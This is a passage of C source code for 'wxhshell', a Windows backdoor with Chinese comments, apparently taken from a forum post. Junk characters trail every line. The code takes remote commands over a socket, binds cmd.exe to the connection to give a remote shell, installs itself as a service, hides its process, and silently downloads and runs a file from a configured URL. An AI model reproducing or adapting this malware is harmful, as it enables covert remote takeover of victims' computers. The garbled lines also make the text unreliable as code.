  // 帮助 lyZof_/*  
  case '?': { g@nk0lQewj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ft`#]=IS  
    break; pWps-e  
  } e7/J:n$  
  // 安装 GG;M/}E9  
  case 'i': { .6$ST Ksr  
    if(Install()) u|8`=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pa+^5N  
    else >g93Bj*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )J (ekfM  
    break; $F G4wA  
    } &.<{c `-  
  // 卸载 :!tQqy2  
  case 'r': { HK&F'\'}  
    if(Uninstall()) =q[3/'2V$?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zK:/ 1  
    else K N0S$nW+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;=)CjC8)  
    break; xvp{F9~qT  
    } #JuO  
  // 显示 wxhshell 所在路径 'L3 \I  
  case 'p': { ]pb;q(?^  
    char svExeFile[MAX_PATH]; [rPW@|^5  
    strcpy(svExeFile,"\n\r"); TmX~vZ  
      strcat(svExeFile,ExeFile); K~,,xsy,G&  
        send(wsh,svExeFile,strlen(svExeFile),0); o?p) V^7  
    break; 1Q?hskL  
    } x 6,S#p  
  // 重启 fb`VYD9[^  
  case 'b': { qI;k2sQR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g"C$B Fc  
    if(Boot(REBOOT)) r7ywK9UL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tk}qvW.Ii  
    else { ,*S?L qv^  
    closesocket(wsh); 3tIIBOwg[  
    ExitThread(0); -zc9=n<5  
    } ~Zaxn~u:  
    break; #|$i H kVY  
    } yo (&~r  
  // 关机 |[o2S90  
  case 'd': { r*+9<8-ZX<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &% M^:WT  
    if(Boot(SHUTDOWN)) &g) `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m(g$T  
    else { B}P,sFghw  
    closesocket(wsh); eX_}KH-Q  
    ExitThread(0); tinN$o Xy  
    } =/dW5qy;*+  
    break; sSD(mO<(  
    } {_[l,tdZ  
  // 获取shell &,$A7:  
  case 's': { g s'bv#4yd  
    CmdShell(wsh); @4$F%[g h  
    closesocket(wsh); OIewG5O  
    ExitThread(0); z+-k4  
    break; Z[({; WtF  
  } 7)_0jp~2  
  // 退出 v S%+  
  case 'x': { e@8I%%V,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); },i?3dSvl  
    CloseIt(wsh); te:"1:e  
    break; ;xth#j  
    } 5YC(gv3/  
  // 离开 $yCj80m\  
  case 'q': { ' {:(4>&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `/+7@~[RU  
    closesocket(wsh); j*xens$)  
    WSACleanup(); `fc*/D  
    exit(1); &Puu Xz<  
    break; 2EK\QWo  
        } ^x/0*t5};z  
  } 8~2A"<{ub  
  } C|!E' 8Rw  
>Q+EqT  
  // 提示信息 89 fT?tT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]L &_R^  
} (V=lK6WQm  
  } O _1}LS!  
/#,<> EfT  
  return; UZ] (X/  
} rSEJ2%iF*  
r2sog{R  
// shell模块句柄 Zs{ `Yf^Q  
int CmdShell(SOCKET sock) ) Fm  
{ sgB3i`_M  
STARTUPINFO si; j6v +S  
ZeroMemory(&si,sizeof(si)); Y_)04dmr@[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4G`YZZQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B:x4H}`vh  
PROCESS_INFORMATION ProcessInfo; P_ ZguNH  
char cmdline[]="cmd"; WMUw5h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]e"NJkcm  
  return 0; /+IR^WG#C}  
} n$=n:$`q  
}W|CIgF*  
// 自身启动模式 gJF;yW 4  
int StartFromService(void) 'QW 0K]il  
{ }y[o[>  
typedef struct vNtbb]')m  
{ c"QH-sE  
  DWORD ExitStatus; *i$+i  
  DWORD PebBaseAddress; Wq>j;\3b3  
  DWORD AffinityMask; mU\$piei  
  DWORD BasePriority; 3IJIeG>  
  ULONG UniqueProcessId; uP* >-s'm  
  ULONG InheritedFromUniqueProcessId; "?S#vUS+ 2  
}   PROCESS_BASIC_INFORMATION; qrOTb9&y  
pxY5S}@  
PROCNTQSIP NtQueryInformationProcess; =_,OucKkYG  
:YV!;dKJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G3OQbqn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < )?&Jf>_  
J J3vC  
  HANDLE             hProcess; i&bttSRNV  
  PROCESS_BASIC_INFORMATION pbi; Nm^q.)dO  
{ _ 1q`5o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W&p-Z"=)  
  if(NULL == hInst ) return 0; hnY^Z_v!  
(8EZ,V:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q&W#nWBV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]k KsGch  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a\MU5%}\  
8?)Da&+f  
  if (!NtQueryInformationProcess) return 0; f,uxoAS  
)0'O!O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <A6<q&g|E  
  if(!hProcess) return 0; "3>#[o  
5VPuHY2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f'.yM*  
 ipyO&v  
  CloseHandle(hProcess); .#}SK!"B  
>5N}ZIN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |mM7P^I  
if(hProcess==NULL) return 0; h\ ybh  
z1:auodI@  
HMODULE hMod; ( Rf)&KN  
char procName[255]; ^#Z(&/5f0  
unsigned long cbNeeded; IM@Qe|5  
LvAIAknc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); % -SP  
~&q e"0  
  CloseHandle(hProcess); I7Eg$J&  
ca`=dwe>  
if(strstr(procName,"services")) return 1; // 以服务启动 --/  .  
P]x@h  
  return 0; // 注册表启动 O;zW'*c+  
} 4u&l@BUr  
x*)Wl!  
// 主模块 lW2qVR  
int StartWxhshell(LPSTR lpCmdLine) xGH%4J\  
{ 3NJH"amk  
  SOCKET wsl; 5&xvY.!27V  
BOOL val=TRUE; 7u}r^+6_o  
  int port=0; q6DhypB  
  struct sockaddr_in door; onmO>q*  
\e?T 9c6,  
  if(wscfg.ws_autoins) Install(); P&SR;{:y  
Uex b>|  
port=atoi(lpCmdLine); Y/hay[6  
dGfWRqS]  
if(port<=0) port=wscfg.ws_port; u9&p/qMx2  
Fb}9cpz{  
  WSADATA data; '1{~y3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZcQm(my  
cK?t]%S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O4#zsr:"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5 QT9  
  door.sin_family = AF_INET; \:#b9t{B-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k |Lm;g  
  door.sin_port = htons(port); v0y7N_U5n  
#" OKO6]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1|]-F;b  
closesocket(wsl); ,L^L uw'7  
return 1; 4 IHl'*D[#  
} Z*Y?"1ar  
5eU/ [F9  
  if(listen(wsl,2) == INVALID_SOCKET) { 'nLv0.7*  
closesocket(wsl); !Zwl9DX3  
return 1; jBQQ?cA  
} E }yxF .  
  Wxhshell(wsl); q\/|nZO4  
  WSACleanup(); jc?Hip'  
4 I~,B[|  
return 0; f9 rToH  
WU\):n  
} \\T I4A^#  
o60wB-y  
// 以NT服务方式启动 (=\P|iv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w_ Ls.K5"  
{ zz9.OnZ~  
DWORD   status = 0; 2<O hO ^  
  DWORD   specificError = 0xfffffff; ?+!KucTF  
'2vlfQ@8a~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &sllM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _]4cY%s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }I;W  
  serviceStatus.dwWin32ExitCode     = 0; ewLr+8  
  serviceStatus.dwServiceSpecificExitCode = 0; V?gQ`( ,  
  serviceStatus.dwCheckPoint       = 0; [ wROIvV  
  serviceStatus.dwWaitHint       = 0; emaNmpg  
F0yh7MItV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J2R<'(  
  if (hServiceStatusHandle==0) return; Ug"B/UUFd  
l5MxJ>?4%B  
status = GetLastError(); PFc02 w  
  if (status!=NO_ERROR) hb_Ia]b  
{ RWoiV10  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x O)nS _I  
    serviceStatus.dwCheckPoint       = 0; f+1]#"9i|  
    serviceStatus.dwWaitHint       = 0; Nhf!;>  
    serviceStatus.dwWin32ExitCode     = status; UO&S6M]v7  
    serviceStatus.dwServiceSpecificExitCode = specificError; a2i   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4l7Tx  
    return; (I+-wki"e  
  } IFE C_F>  
OO$<Wgh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s810714  
  serviceStatus.dwCheckPoint       = 0; SUx0!_f*R  
  serviceStatus.dwWaitHint       = 0; E8nqEx Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tQ/w\6{  
} mI.*b(Irp  
rd"]$_P8O  
// 处理NT服务事件,比如:启动、停止 '5Y8 rv<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -py.Y Z  
{ f;b(W  
switch(fdwControl) toCN{[  
{ >Kr,(8rA  
case SERVICE_CONTROL_STOP: z(m*]kpL"  
  serviceStatus.dwWin32ExitCode = 0; U/ZbE?it>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mA4v  4z  
  serviceStatus.dwCheckPoint   = 0; 4j | vzyc  
  serviceStatus.dwWaitHint     = 0; lDH0bBmd0  
  { PaZFM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a@7we=!  
  } R_*\?^k|A  
  return; "L ,FUo^&  
case SERVICE_CONTROL_PAUSE: _ 9k^Hd[L$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W$3p,VTMmB  
  break; \<P W_'6  
case SERVICE_CONTROL_CONTINUE: 6^zv:C%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }:BF3cH> 0  
  break; USbiI %   
case SERVICE_CONTROL_INTERROGATE: ctCfLlK  
  break; )~5`A*Ku  
}; Q`oi=O YB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #e#8I7P  
} A>PM'$"sT  
*L^{p.K4  
// 标准应用程序主函数 YF;8il{p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ri,UHI4 W  
{ }r i"u;.R  
\Lc pl-;?  
// 获取操作系统版本 5~sJ$5<,  
OsIsNt=GetOsVer(); 'UB<;6wy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eg}|%GG  
1xx-}AIH#  
  // 从命令行安装 c_" .+Fa  
  if(strpbrk(lpCmdLine,"iI")) Install(); $$8"i+,K  
*R&g'y^d  
  // 下载执行文件 ['c:n?  
if(wscfg.ws_downexe) { <1@_MY o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & IDF9B  
  WinExec(wscfg.ws_filenam,SW_HIDE); tf/ f-S  
} ;Y~;G7  
2D-*Z=5^  
if(!OsIsNt) { jem$R/4"  
// 如果时win9x,隐藏进程并且设置为注册表启动 |S4yol  
HideProc(); 3v{GP>  
StartWxhshell(lpCmdLine); O,bj_CWx  
} 5!5P\o  
else s=6w-'; V  
  if(StartFromService()) }^QY<Cp|  
  // 以服务方式启动 GoFC!nx  
  StartServiceCtrlDispatcher(DispatchTable); pa+ y(!G  
else 6 o+zhi;E  
  // 普通方式启动 P#yS]F/  
  StartWxhshell(lpCmdLine); >#kzPYsp  
wRuJein#  
return 0; LAr6J  
}
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只看该作者 1 发表于: 2006-10-10
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